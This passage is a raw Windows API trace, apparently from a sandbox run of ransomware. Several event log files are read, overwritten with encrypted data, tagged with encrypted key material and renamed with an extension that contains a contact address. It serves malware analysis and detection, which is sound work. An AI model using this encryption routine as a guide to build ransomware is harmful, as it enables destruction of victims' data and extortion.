dwFlags=0x0, lpMem=0x57e300 | out: hHeap=0x520000) returned 1 [0086.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582858 | out: hHeap=0x520000) returned 1 [0086.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582678 | out: hHeap=0x520000) returned 1 [0086.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0086.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0086.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0086.282] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0086.282] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1d0 | out: pbBuffer=0x54d1d0) returned 1 [0086.282] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", dwFileAttributes=0x80) returned 1 [0086.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0086.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e940 [0086.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0086.283] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0086.283] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1052672) returned 1 [0086.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x312f020 [0086.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x324d020 [0086.292] ReadFile (in: hFile=0x460, lpBuffer=0x312f020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312f020*, lpNumberOfBytesRead=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0086.409] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.409] WriteFile (in: hFile=0x460, lpBuffer=0x324d020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x324d020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0086.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312f020 | out: hHeap=0x520000) returned 1 [0086.421] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x324d020 | out: hHeap=0x520000) returned 1 [0086.426] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x101000 [0086.426] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0086.426] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0086.427] WriteFile (in: hFile=0x460, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0086.427] WriteFile (in: hFile=0x460, lpBuffer=0x54d1d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0086.427] CloseHandle (hObject=0x460) returned 1 [0086.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0086.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0086.449] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0086.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e940 | out: hHeap=0x520000) returned 1 [0086.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0086.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0086.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x583e68 [0086.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0086.453] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0086.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0086.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0086.453] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0086.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5821f8 [0086.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x583458 [0086.521] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5821f8 | out: hHeap=0x520000) returned 1 [0086.521] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0086.521] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0086.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0086.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0086.522] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.654] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.654] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0086.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0086.658] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0086.658] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0086.658] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0086.659] WriteFile (in: hFile=0x460, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0086.660] WriteFile (in: hFile=0x460, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0086.660] CloseHandle (hObject=0x460) returned 1 [0086.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0086.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0086.662] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0086.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583458 | out: hHeap=0x520000) returned 1 [0086.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583e68 | out: hHeap=0x520000) returned 1 [0086.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5833c0 | out: hHeap=0x520000) returned 1 [0086.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582e70 [0086.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0086.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0086.664] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0086.664] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0086.664] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0086.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582ba0 [0086.664] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ed28 [0086.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ba0 | out: hHeap=0x520000) returned 1 [0086.665] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0086.665] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0086.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0086.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0086.665] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.781] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.781] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0086.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0086.783] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0086.783] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0086.783] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0086.785] WriteFile (in: hFile=0x460, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0086.785] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0086.785] CloseHandle (hObject=0x460) returned 1 [0086.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0086.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0086.790] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0086.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ed28 | out: hHeap=0x520000) returned 1 [0086.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582e70 | out: hHeap=0x520000) returned 1 [0086.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582498 | out: hHeap=0x520000) returned 1 [0086.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5821f8 [0086.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0086.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0086.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0086.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0086.794] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", dwFileAttributes=0x80) returned 1 [0086.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5833c0 [0086.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x583478 [0086.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5833c0 | out: hHeap=0x520000) returned 1 [0086.795] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0086.795] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0086.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0086.796] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0086.796] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.897] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.897] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0086.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0086.899] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0086.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0086.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0086.901] WriteFile (in: hFile=0x460, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0086.901] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0086.901] CloseHandle (hObject=0x460) returned 1 [0086.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0086.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0086.907] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0086.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583478 | out: hHeap=0x520000) returned 1 [0086.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5821f8 | out: hHeap=0x520000) returned 1 [0086.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583308 | out: hHeap=0x520000) returned 1 [0086.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0086.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0086.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0086.909] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0086.910] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0086.910] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", dwFileAttributes=0x80) returned 1 [0086.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0086.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5821f8 [0086.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0086.910] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0086.910] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0086.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0086.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0086.913] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.145] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.145] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0087.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0087.147] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0087.147] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0087.147] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0087.148] WriteFile (in: hFile=0x460, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0087.149] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0087.149] CloseHandle (hObject=0x460) returned 1 [0087.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0087.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0087.161] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0087.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5821f8 | out: hHeap=0x520000) returned 1 [0087.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0087.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0087.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0087.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0087.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0087.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0087.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0087.165] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0087.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0087.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ef80 [0087.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0087.166] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0087.166] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0087.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0087.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0087.166] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0087.204] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.205] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, 